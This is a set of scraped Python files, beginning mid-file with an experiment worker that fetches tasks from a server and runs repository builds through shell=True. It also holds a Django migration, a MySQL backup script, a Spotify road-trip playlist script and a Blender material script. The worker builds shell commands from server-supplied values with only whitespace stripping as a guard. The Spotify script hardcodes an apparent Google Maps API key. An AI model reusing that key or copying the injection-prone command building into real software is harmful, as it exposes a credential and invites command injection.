requests.get('http://dakis.lt/api/exp/%d/next-task/' % exp_id)\n    # logging.info('Getting next task: exp_id=%d, status_code=%d, resp=%s' % (exp_id, resp.status_code, resp.json()))\n    print('Trying to run next task')\n    if resp.status_code == 200 and resp.json():\n        resp_json = resp.json()\n\n        executable = prepare_executable(resp_json['algorithm_id'], resp_json['repository'], resp_json['branch'], resp_json['executable'])\n\n        cmd = [\n            '%s' % executable,       # Should pass path as it will be called  .strip('./')\n            '--task_id=%s' % resp_json['task_id'],\n            '--callback=%s' % join(MAIN_DIR, 'worker.py'),\n        ]\n\n        max_duration = 43200   # 12 hours\n        for name, value in parse_json(resp_json['input_values']):\n            name = ''.join(str(name).split())   # Note: this is protection for injection attack\n            value = ''.join(str(value).split())\n            cmd.append('--%s=%s' % (name, value))\n            if name == 'max_duration' and int(value) > max_duration:\n                max_duration = int(value)\n        max_duration = '%d:%.2d:%.2d' % (max_duration / 3600, (max_duration % 3600) / 60, max_duration % 60)\n\n        logging.info('Handling cmd: ' + ' '.join(cmd))\n\n        try:\n            if was_called_in_supercomputer():\n                job_filename = get_job_filename(exp_id, resp_json)\n                job_file = open(job_filename, 'w')\n                job_file.write('#!/bin/bash\\n#$ -j y\\n#$ -l h_rt=%s\\n#$ -S /bin/bash\\n#$ -cwd\\nmpirun -np 1 ' % max_duration)\n                job_file.write(' '.join(cmd) + '\\n')\n                job_file.close()\n                logging.info('Created job file: %s' % job_filename)\n                add_to_queue_cmd = 'qsub -pe orte 1 -o {0}.o -e {0}.e {0}'.format(job_filename)\n                # Note: should use separate files for stdout and stderr. Remove them only if they are empty or reported.\n                p1 = subprocess.Popen(add_to_queue_cmd, shell=True, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # , close_fds=True)\n                logging.info('Called command: %s' % add_to_queue_cmd)\n            else:\n                # logging.info('Calling: cmd=%s' % ' '.join(cmd))\n                subprocess.Popen(' '.join(cmd), shell=True, stdin=None, stdout=None, stderr=None)\n        except Exception as e:\n            logging.error('Got error while calling:  %s' % str(e))\n\n\ndef send_task_results(args, unknown):\n    url = 'http://dakis.lt/api/tasks/%d/' % args.task_id\n    output_values = []\n    for p in unknown:\n        name, value = p.split('=')\n        name = name.lstrip('-')\n        output_values.append([name, value])\n    # logging.info('Sending: url=%s, data=%s' % (url, data))\n    resp = requests.put(url, {'output_values': str(output_values), 'status': args.status})\n    # logging.info('Response from sending: status_code=%s, data=%s' % (resp.status_code, resp.json()))\n    return resp.json()\n\n\ndef prepare_executable(alg_id, repository, branch, exe_file):    # Note: Should get algorithm id, not experiment id\n    '''Clone and compile experiments code. Uses REST API if not all data provided in parameters.'''\n    exe_dir = join(MAIN_DIR, 'alg_%d' % alg_id)\n    executable = join(exe_dir, exe_file)\n\n    # Note: commit head should also be saved to the task.\n    if not os.path.exists(executable):  # Note: code version will be cached, new commits won't be pulled\n        if not os.path.exists(exe_dir):\n            if 'hg@' not in repository:\n                cmd = 'git clone {0} {1} && cd {1} && git fetch origin {2} && git checkout {2} && git pull -r && make compile'.format(repository, exe_dir, branch)\n            else:\n                cmd = 'hg clone {0} {1} && cd {1} && make compile'.format(repository, exe_dir, branch)\n            proc = subprocess.Popen(cmd, shell=True)\n            proc.communicate()\n        else:\n            proc = subprocess.Popen('cd %s && git pull -r && make compile' % exe_dir, shell=True)  # Use ``make compile`` instead of ``make``\n            proc.communicate()\n    return executable\n\n\ndef request_to_run_next_task(exp_id):\n    url = 'http://dakis.lt/api/exp/%d/run/' % exp_id\n    resp = requests.get(url)\n    return\n\n\ndef get_argparser():\n    import argparse\n    parser = argparse.ArgumentParser(description='Schedules tasks')\n    parser.add_argument('-exp', '--exp_id', type=int, help='Experiment ID', nargs='?', default=None)\n\n    parser.add_argument('-task', '--task_id', type=int, help='Task ID', nargs=None, default=None)\n    parser.add_argument('-st', '--status', type=str, help='Status of the task. D - done, S - suspended.', nargs=None, default='D')\n\n    # Prepare environment arguments\n    parser.add_argument('-env', '--prepare_environment', help='Create ~/.dakis dir and prepare environment', nargs='?', const=True)\n    return parser\n\n\ndef main(args, unknown):\n    global requests\n    import requests\n\n    if args.exp_id:\n        run_next_task(args.exp_id)\n    elif args.task_id:\n        # Send results\n        resp_json = send_task_results(args, unknown)\n        # Remove job file if it exists\n        exp_id = int(resp_json['experiment'].split('experiments')[-1].strip('/'))\n        job_filename = get_job_filename(exp_id, resp_json)\n        if os.path.isfile(job_filename):\n            os.remove(job_filename)\n        for file in os.listdir(JOBS_DIR):\n            if file.endswith('.o') or file.endswith('.e'):  # Note: should split output and error streams\n                os.remove(join(JOBS_DIR, file))\n        ## Run next task\n        if was_called_in_supercomputer():\n            request_to_run_next_task(exp_id)   # Note: cannot start new job from inside of job\n        else:\n            run_next_task(exp_id)\n\n\nif __name__ == '__main__':\n    logging.basicConfig(\n        level=logging.INFO,\n        filename=os.path.expanduser(join(MAIN_DIR, 'worker.log')),\n        format='%(asctime)s - %(message)s',\n    )\n    logging.info('Called with argv: %s' % sys.argv)\n\n    # Parse arguments\n    args, unknown = get_argparser().parse_known_args()\n\n    # Prepare environment\n    if args.prepare_environment or not os.path.exists(MAIN_DIR) or not os.path.exists(JOBS_DIR):\n        prepare_environment()\n\n    # Get and run task\n    main(args, unknown)\n", "repo_name": "niekas/dakis", "sub_path": "scripts/worker.py", "file_name": "worker.py", "file_ext": "py", "file_size_in_byte": 8009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.expanduser", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 24, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 45, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 82, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 85, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 85, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 89, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 119, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 122, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 159, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 160, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 162, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 171, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 176, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}]}
{"seq_id": "18761468960", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('article', '0015_auto_20150303_1558'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='issue',\n            name='pdf',\n            field=models.FileField(default=None, null=True, upload_to=b'issues'),\n            preserve_default=True,\n        ),\n    ]\n", "repo_name": "F483/trainlessmagazine.com", "sub_path": "article/migrations/0016_issue_pdf.py", "file_name": "0016_issue_pdf.py", "file_ext": "py", "file_size_in_byte": 462, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "40068840687", "text": "#!/usr/bin/env python\nimport argparse\nimport os\nimport time\n\nfrom lib import backup\nfrom lib import environment_specific\nfrom lib import host_utils\nfrom lib import mysql_lib\n\nlog = environment_specific.setup_logging_defaults(__name__)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-p',\n                        '--port',\n                        help='Port to backup on localhost (default: 3306)',\n                        default='3306')\n    parser.add_argument('-b',\n                        '--backup_type',\n                        help='Type of backup to run.',\n                        default=backup.BACKUP_TYPE_XBSTREAM,\n                        choices=(backup.BACKUP_TYPE_LOGICAL,\n                                 backup.BACKUP_TYPE_XBSTREAM))\n    args = parser.parse_args()\n    instance = host_utils.HostAddr(':'.join((host_utils.HOSTNAME, args.port)))\n    mysql_backup(instance, args.backup_type)\n\n\ndef mysql_backup(instance, backup_type=backup.BACKUP_TYPE_XBSTREAM,\n                 initial_build=False, lock_handle=None):\n    \"\"\" Run a file based backup on a supplied local instance\n\n    Args:\n    instance - A hostaddr object\n    backup_type - backup.BACKUP_TYPE_LOGICAL or backup.BACKUP_TYPE_XBSTREAM\n    initial_build - Boolean, if this is being created right after the server\n                    was built\n    lock_handle - A lock handle, if we have one from the caller.\n    \"\"\"\n\n    if backup_type == backup.BACKUP_TYPE_XBSTREAM and \\\n            os.path.isfile(backup.XTRABACKUP_SKIP_FILE):\n        log.info('Found {}. Skipping xtrabackup '\n                 'run.'.format(backup.XTRABACKUP_SKIP_FILE))\n        return\n\n    log.info('Confirming sanity of replication (if applicable)')\n    zk = host_utils.MysqlZookeeper()\n    try:\n        replica_type = zk.get_replica_type_from_instance(instance)\n    except:\n        # instance is not in production\n        replica_type = None\n\n    if replica_type and replica_type != host_utils.REPLICA_ROLE_MASTER:\n        mysql_lib.assert_replication_sanity(instance)\n\n    log.info('Logging initial status to mysqlops')\n    start_timestamp = time.localtime()\n    backup_id = mysql_lib.start_backup_log(instance, backup_type,\n                                           start_timestamp)\n\n    # Take a lock to prevent multiple backups from running concurrently\n    # unless we already have a lock from the caller.  This means we\n    # also don't have to release the lock at the end; either we\n    # exit the script entirely, and it gets cleaned up or the caller\n    # maintains it.\n    if lock_handle is None:\n        log.info('Taking backup lock')\n        lock_handle = host_utils.bind_lock_socket(backup.STD_BACKUP_LOCK_SOCKET)\n    else:\n        log.info('Not acquiring backup lock, we already have one.')\n\n    # Actually run the backup\n    log.info('Running backup')\n    if backup_type == backup.BACKUP_TYPE_XBSTREAM:\n        backup_file = backup.xtrabackup_instance(instance, start_timestamp,\n                                                 initial_build)\n    elif backup_type == backup.BACKUP_TYPE_LOGICAL:\n        # We don't need a backup-skip file here since this isn't\n        # regularly scheduled.\n        backup_file = backup.logical_backup_instance(instance, start_timestamp,\n                                                     initial_build)\n    else:\n        raise Exception('Unsupported backup type {}'.format(backup_type))\n\n    # Update database with additional info now that backup is done.\n    if backup_id:\n        log.info(\"Updating database log entry with final backup info\")\n        mysql_lib.finalize_backup_log(backup_id, backup_file)\n    else:\n        log.info(\"The backup is complete, but we were not able to \"\n                 \"write to the central log DB.\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "pinterest/mysql_utils", "sub_path": "mysql_backup.py", "file_name": "mysql_backup.py", "file_ext": "py", "file_size_in_byte": 3805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 877, "dataset": "github-code", "pt": "81", "api": [{"api_name": "lib.environment_specific.setup_logging_defaults", "line_number": 11, "usage_type": "call"}, {"api_name": "lib.environment_specific", "line_number": 11, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "lib.backup.BACKUP_TYPE_XBSTREAM", "line_number": 23, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 23, "usage_type": "name"}, {"api_name": "lib.backup.BACKUP_TYPE_LOGICAL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 24, "usage_type": "name"}, {"api_name": "lib.backup.BACKUP_TYPE_XBSTREAM", "line_number": 25, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 25, "usage_type": "name"}, {"api_name": "lib.host_utils.HostAddr", "line_number": 27, "usage_type": "call"}, {"api_name": "lib.host_utils", "line_number": 27, "usage_type": "name"}, {"api_name": "lib.host_utils.HOSTNAME", "line_number": 27, "usage_type": "attribute"}, {"api_name": "lib.backup.BACKUP_TYPE_XBSTREAM", "line_number": 31, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 31, "usage_type": "name"}, {"api_name": "lib.backup.BACKUP_TYPE_XBSTREAM", "line_number": 43, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 43, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "lib.backup.XTRABACKUP_SKIP_FILE", "line_number": 44, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 44, "usage_type": "name"}, {"api_name": "lib.backup.XTRABACKUP_SKIP_FILE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 46, "usage_type": "name"}, {"api_name": "lib.host_utils.MysqlZookeeper", "line_number": 50, "usage_type": "call"}, {"api_name": "lib.host_utils", "line_number": 50, "usage_type": "name"}, {"api_name": "lib.host_utils.REPLICA_ROLE_MASTER", "line_number": 57, "usage_type": "attribute"}, {"api_name": "lib.host_utils", "line_number": 57, "usage_type": "name"}, {"api_name": "lib.mysql_lib.assert_replication_sanity", "line_number": 58, "usage_type": "call"}, {"api_name": "lib.mysql_lib", "line_number": 58, "usage_type": "name"}, {"api_name": "time.localtime", "line_number": 61, "usage_type": "call"}, {"api_name": "lib.mysql_lib.start_backup_log", "line_number": 62, "usage_type": "call"}, {"api_name": "lib.mysql_lib", "line_number": 62, "usage_type": "name"}, {"api_name": "lib.host_utils.bind_lock_socket", "line_number": 72, "usage_type": "call"}, {"api_name": "lib.host_utils", "line_number": 72, "usage_type": "name"}, {"api_name": "lib.backup.STD_BACKUP_LOCK_SOCKET", "line_number": 72, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 72, "usage_type": "name"}, {"api_name": "lib.backup.BACKUP_TYPE_XBSTREAM", "line_number": 78, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 78, "usage_type": "name"}, {"api_name": "lib.backup.xtrabackup_instance", "line_number": 79, "usage_type": "call"}, {"api_name": "lib.backup", "line_number": 79, "usage_type": "name"}, {"api_name": "lib.backup.BACKUP_TYPE_LOGICAL", "line_number": 81, "usage_type": "attribute"}, {"api_name": "lib.backup", "line_number": 81, "usage_type": "name"}, {"api_name": "lib.backup.logical_backup_instance", "line_number": 84, "usage_type": "call"}, {"api_name": "lib.backup", "line_number": 84, "usage_type": "name"}, {"api_name": "lib.mysql_lib.finalize_backup_log", "line_number": 92, "usage_type": "call"}, {"api_name": "lib.mysql_lib", "line_number": 92, "usage_type": "name"}]}
{"seq_id": "12646224719", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 13 19:30:18 2021\n\n@author: micha\n\"\"\"\n\nimport requests\nimport math\nimport spotipy\nimport spotipy.util as util\nfrom spotipy.oauth2 import SpotifyOAuth\nimport googlemaps\nfrom datetime import datetime\nfrom ortools.algorithms import pywrapknapsack_solver\nimport numpy as np\n\nCLIENT_ID = ''#CLIENT ID\nCLIENT_SECRET = ''#CLIENT SECRET\nCLIENT_REDIRECT_URI = 'http://localhost'\nSCOPE = 'user-top-read user-modify-playback-state playlist-modify-private user-read-private'\nAUTH_URL = 'https://accounts.spotify.com/api/token'\n\nauth_response = requests.post(AUTH_URL, {\n    'grant_type': 'client_credentials',\n    'client_id': CLIENT_ID,\n    'client_secret': CLIENT_SECRET,\n})\n\nauth_response_data = auth_response.json()\n\naccess_token = auth_response_data['access_token']\n\n\n\ntoken = util.prompt_for_user_token(SCOPE,client_id=CLIENT_ID,client_secret=CLIENT_SECRET,redirect_uri=CLIENT_REDIRECT_URI)\n\nsp = spotipy.Spotify(auth=token)\nuser = sp.me()\nUSERNAME=user['id']\ntoken = util.prompt_for_user_token(USERNAME,SCOPE,client_id=CLIENT_ID,client_secret=CLIENT_SECRET,redirect_uri=CLIENT_REDIRECT_URI)\nsp = spotipy.Spotify(auth=token)\n\nuserData = sp.current_user_top_artists(limit=20)\n\nartistIds = []\nartistNames = []\nartistNamesFull = []\nnameidmap = {}\nfor item in userData['items']:\n    artistIds.append(item['id'])\n    nameidmap[item['id']]=item['name']\n    artistNames.append(item['name'])\n\nclient_credentials_manager = SpotifyOAuth(client_id=CLIENT_ID,client_secret=CLIENT_SECRET,redirect_uri=CLIENT_REDIRECT_URI, scope=SCOPE, username=USERNAME)#SpotifyClientCredentials(client_id=CLIENT_ID,client_secret=CLIENT_SECRET)\nsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\n\nalbumData = {}\nalbumLengths = []\nalbumNames = []\n\nprint(\"Here are your top artists: \")\nfor artist in artistNames:\n    print(artist)\n\nanswer = input(\"Would you like to remove any? (Y or N): \")\nif answer == 'Y':\n    removedArtists = input(\"Who? (Separate by ','): \").split(',')\n    for i in range(len(removedArtists)):\n        removedArtists[i]=removedArtists[i].strip()\n        removedIndex = artistNames.index(removedArtists[i])\n        artistIds.pop(removedIndex)\n        artistNames.pop(removedIndex)\n    \nstartLoc = input(\"Where are you? \")\nendLoc = input(\"Where are you headed? \")\ngmaps = googlemaps.Client(key='AIzaSyDOF5opG8olbWst4Ui6_Vl35fXHXqJpwbQ')\ntripLengthStr = gmaps.directions(startLoc, endLoc, mode=\"driving\", departure_time=datetime.now())[0]['legs'][0]['duration']['text'].split(\" \")\n\nif (len(tripLengthStr) == 4) & (tripLengthStr[1]=='day'):\n    tripLength = int(tripLengthStr[0])*24*60 + int(tripLengthStr[2])*60\nelif len(tripLengthStr) == 4:\n    tripLength = int(tripLengthStr[0])*60 + int(tripLengthStr[2])\nelse:\n    tripLength = int(tripLengthStr[0])\n\nalbumIdsFull = []\nfor i,artist in enumerate(artistIds):\n    artistAlbums = sp.artist_albums(artist,album_type='album',country='US',limit=50)['items']\n    albumIds = []\n    for album in artistAlbums:\n        if album[\"name\"] not in albumNames:\n            albumNames.append(album[\"name\"])\n            albumIds.append(album['id'])\n            albumIdsFull.append(album['id'])\n    for i in range(math.ceil(len(albumIds)/20)):\n        if i == 0:\n            if len(albumIds) < 20:\n                albumIdString = albumIds[:len(albumIds)]\n            else:\n                albumIdString = albumIds[:20]\n        if i == 1:\n            if len(albumIds) < 40:\n                albumIdString = albumIds[20:len(albumIds)]\n            else:\n                albumIdString = albumIds[20:40]\n        if i == 2:\n            albumIdString = albumIds[40:50]\n        albums = sp.albums(albumIdString)\n        for album in albums['albums']:\n            albumLength=0\n            for track in album['tracks']['items']:\n                albumLength += track['duration_ms']/1000/60\n            albumData[album[\"name\"]]=albumLength\n            artistNamesFull.append(artistNames[artistIds.index(artist)])  \n            albumLengths.append(albumData[album[\"name\"]])\n            \n#values = albumLengths\nvalues = list(range(0,len(albumLengths)))\nnp.random.shuffle(values)\nweights = [albumLengths]\ncapacities = [tripLength]\n\nsolver = pywrapknapsack_solver.KnapsackSolver(\n    pywrapknapsack_solver.KnapsackSolver.\n    KNAPSACK_MULTIDIMENSION_BRANCH_AND_BOUND_SOLVER, 'KnapsackExample')\n\nsolver.Init(values, weights, capacities)\ncomputed_value = solver.Solve()\npacked_ids = []\npacked_names = []\npacked_weights = []\ntotal_weight = 0\nfor i in range(len(values)):\n    if solver.BestSolutionContains(i):\n        packed_ids.append(i)\n        packed_names.append(albumNames[i])\n        packed_weights.append(weights[0][i])\n        total_weight += weights[0][i]\n\nprint('\\nAlbums:', packed_names)\nprint('Total Length:', total_weight)\nprint('Trip Length: ',tripLength)\nprint('% of Trip: {}%'.format(total_weight/tripLength*100))\n\nanswer = input(\"Create Playlist? (Y/N): \")\nidealIds = []\nidealTracks = []\nif answer == \"Y\":\n    playlist = sp.user_playlist_create(USERNAME, input(\"Enter playlist name: \"), public=False, description='')\n    for album in packed_ids:\n        aid = albumIdsFull[album]\n        idealIds.append(aid)\n    if len(idealIds) > 20:\n        for i in range(int(len(idealIds)/20)):\n            idealAlbumData = sp.albums(idealIds[20*i:20+20*i])\n            for album in idealAlbumData['albums']:\n                idealTracks = []\n                for track in album['tracks']['items']:\n                    idealTracks.append(track['uri'])\n                sp.user_playlist_add_tracks(USERNAME,playlist['id'],idealTracks)\n    else:\n        idealAlbumData = sp.albums(idealIds)\n        for album in idealAlbumData['albums']:\n            idealTracks = []\n            for track in album['tracks']['items']:\n                idealTracks.append(track['uri'])\n            sp.user_playlist_add_tracks(USERNAME,playlist['id'],idealTracks)\n    \nanswer = input(\"Would you like to start playing? (Y/N): \")\nif answer == \"Y\":\n    sp.shuffle(False)\n    sp.start_playback(context_uri=playlist['uri'])\n\n\n\n\n", "repo_name": "mphillipsjr96/Spotify-Projects", "sub_path": "Road Trip Albums/roadtripalbums.py", "file_name": "roadtripalbums.py", "file_ext": "py", "file_size_in_byte": 6069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.post", "line_number": 24, "usage_type": "call"}, {"api_name": "spotipy.util.prompt_for_user_token", "line_number": 36, "usage_type": "call"}, {"api_name": "spotipy.util", "line_number": 36, "usage_type": "name"}, {"api_name": "spotipy.Spotify", "line_number": 38, "usage_type": "call"}, {"api_name": "spotipy.util.prompt_for_user_token", "line_number": 41, "usage_type": "call"}, {"api_name": "spotipy.util", "line_number": 41, "usage_type": "name"}, {"api_name": "spotipy.Spotify", "line_number": 42, "usage_type": "call"}, {"api_name": "spotipy.oauth2.SpotifyOAuth", "line_number": 55, "usage_type": "call"}, {"api_name": "spotipy.Spotify", "line_number": 56, "usage_type": "call"}, {"api_name": "googlemaps.Client", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 78, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 120, "usage_type": "attribute"}, {"api_name": "ortools.algorithms.pywrapknapsack_solver.KnapsackSolver", "line_number": 124, "usage_type": "call"}, {"api_name": "ortools.algorithms.pywrapknapsack_solver", "line_number": 124, "usage_type": "name"}, {"api_name": "ortools.algorithms.pywrapknapsack_solver.KnapsackSolver", "line_number": 125, "usage_type": "attribute"}, {"api_name": "ortools.algorithms.pywrapknapsack_solver", "line_number": 125, "usage_type": "name"}]}
{"seq_id": "17892706648", "text": "import bpy \nimport numpy as np\n\n###############################################################################\n# Coordinates utility functions\n###############################################################################\n\ndef ListScaling(Coords):\n    \"\"\"\n    Min-Max normaliztion for a list of values \n    Parameters\n    ----------\n    Coords : list,array-like\n        List of values.\n\n    Returns\n    -------\n    norms : list\n        Min-Max normalization of Coords.\n    \"\"\"\n\n    minVec,maxVec=min(Coords),max(Coords)\n    vecRange=maxVec-minVec\n    if vecRange==0:\n        vecRange=1\n    norms=[(val-minVec)/vecRange for val in Coords]\n\n    return norms\n\ndef CoordsScaling(Coords,extend=2,center=(0,0,0)):\n    \"\"\"\n    Normalization of a 2d array \n    Parameters\n    ----------\n    Coords : list,array-like\n        Coordinates to be normalized.\n    extend : float, optional\n        Controls the extend in the normalization. The default is 2.\n    center : tuple,list, optional\n        Controls the center of the normalization. The default is (0,0,0).\n\n    Returns\n    -------\n    scaled : list\n        Scaled coordinates.\n\n    \"\"\"\n\n    Xs=ListScaling([val[0] for val in Coords])\n    Ys=ListScaling([val[1] for val in Coords])\n    Zs=ListScaling([val[2] for val in Coords])\n    Ws=[val[3] for val in Coords]\n\n    scaled=[(extend*x+center[0],extend*y+center[1],extend*z+center[2],w) for x,y,z,w in zip(Xs,Ys,Zs,Ws)]\n\n    return scaled\n\n###############################################################################\n# Coordinates generation\n###############################################################################\n\ndef CoordinatesPoints(xFunction,yFunction,limit):\n    \"\"\"\n    Calculates the raw values for the patterns\n    Parameters\n    ----------\n    xFunction : function\n        x-axis evaluating function.\n    yFunction : function\n        x-axis evaluating function.\n    limit : float\n        limit of the meshgrid.\n\n    Returns\n    -------\n    Coords : list\n        Pattern coordinates.\n\n    \"\"\"\n\n    points=np.linspace(-limit,limit,num=100)\n    xx, yy = np.meshgrid(points, points, sparse=True)\n    z1 = xFunction(xx,yy)\n    z2 = yFunction(xx,yy)\n\n    xData=z1.ravel()\n    yData=z2.ravel()\n    zs=[0 for _ in range(z1.size)]\n    ws=[1 for _ in range(z1.size)]\n\n    Coords=[(x,y,z,w) for x,y,z,w in zip(xData,yData,zs,ws)]\n\n    return Coords\n\n###############################################################################\n# Wrapper functions\n###############################################################################\n\ndef Wrapper01(x,y):\n    return x-np.cos(x/y)\n\ndef Wrapper02(x,y):\n    return y+np.sin(y*x)\n\n###############################################################################\n# Curve functions\n###############################################################################\n\ndef AddCurveFromCoords(Coords,objName=\"MyCurve\"):\n    \"\"\"\n    Adds a curve following the Coords\n    Parameters\n    ----------\n    Coords : list,array-like\n        Global coordinates for the curve object.\n    objName : string, optional\n        Name of the curve object. The default is \"MyCurve\".\n\n    Returns\n    -------\n    None.\n\n    \"\"\"\n\n    curv=bpy.data.curves.new(objName,\"CURVE\")\n    curvob=bpy.data.objects.new(objName,curv)\n\n    scene=bpy.context.scene\n    scene.objects.link(curvob)\n    scene.objects.active=curvob\n\n    line=curv.splines.new(\"NURBS\")\n\n    line.points.add(len(Coords)-1)\n\n    for index,point in enumerate(Coords):\n        line.points[index].co=point\n\n    curv.dimensions=\"3D\"\n    curv.use_path=True\n    curv.bevel_object=bpy.data.objects[\"NurbsCircle\"]\n    bpy.data.curves[objName].use_fill_deform=True\n    line.use_endpoint_u=True\n\n###############################################################################\n# Material Functions\n###############################################################################\ndef AddTypeAMaterial(GeometryName,RGBData):\n    \"\"\"\n    Simple RGB and BSDF principled node mixed.\n    Parameters\n    ----------\n    GeometryName : string\n        Geometry name of the object.\n    RGBData : tuple, list\n        RGB values for the rgb shader output.\n\n    Returns\n    -------\n    None.\n\n    \"\"\"\n\n    r,g,b=RGBData\n    currentMaterial = bpy.data.materials.new(name='TypeA'+GeometryName)\n    currentMaterial.use_nodes = True\n    nodes = currentMaterial.node_tree.nodes\n    rgb = nodes.new(\"ShaderNodeRGB\")\n    rgb.outputs[0].default_value = (r,g,b,1)\n    bsdf = nodes.new(\"ShaderNodeBsdfPrincipled\")\n    bsdf.inputs[4].default_value = 0.5\n    bsdf.inputs[7].default_value = 1\n    bsdf.inputs[15].default_value = 1\n    currentMaterial.node_tree.links.new(rgb.outputs[0],bsdf.inputs[0])\n    materialOutput=nodes.get(\"Material Output\")\n    currentMaterial.node_tree.links.new(bsdf.outputs[0],materialOutput.inputs[0])\n    bpy.data.objects[GeometryName].data.materials.append(currentMaterial)\n\n#Wrapper function to add a black type A material\ndef AddTypeAMaterialRed(GeometryName):\n    return AddTypeAMaterial(GeometryName,(1,0,0))\n\n#Wrapper function to add a blue type B material\ndef AddTypeAMaterialBlue(GeometryName):\n    return AddTypeAMaterial(GeometryName,(0,0,1))\n\n\ndef AddTypeBMaterial(GeometryName,RGBData):\n    \"\"\"\n    Adds a glowing material\n    ----------\n    GeometryName : string\n        Geometry name of the object.\n    RGBData : tuple, list\n        RGB values for the rgb shader output.\n\n    Returns\n    -------\n    None.\n\n    \"\"\"\n\n    r,g,b,a=RGBData\n    currentMaterial = bpy.data.materials.new(name='TypeA'+GeometryName)\n    currentMaterial.use_nodes = True\n    nodes = currentMaterial.node_tree.nodes\n    \n    rgb = nodes.new(\"ShaderNodeRGB\")\n    rgb.outputs[0].default_value = (r,g,b,a)\n\n    bsdf=nodes.new(\"ShaderNodeBsdfPrincipled\")\n    currentMaterial.node_tree.links.new(rgb.outputs[0],bsdf.inputs[0])\n\n    emission=nodes.new(\"ShaderNodeEmission\")\n    emission.inputs[1].default_value=1\n    currentMaterial.node_tree.links.new(rgb.outputs[0],emission.inputs[0])\n\n    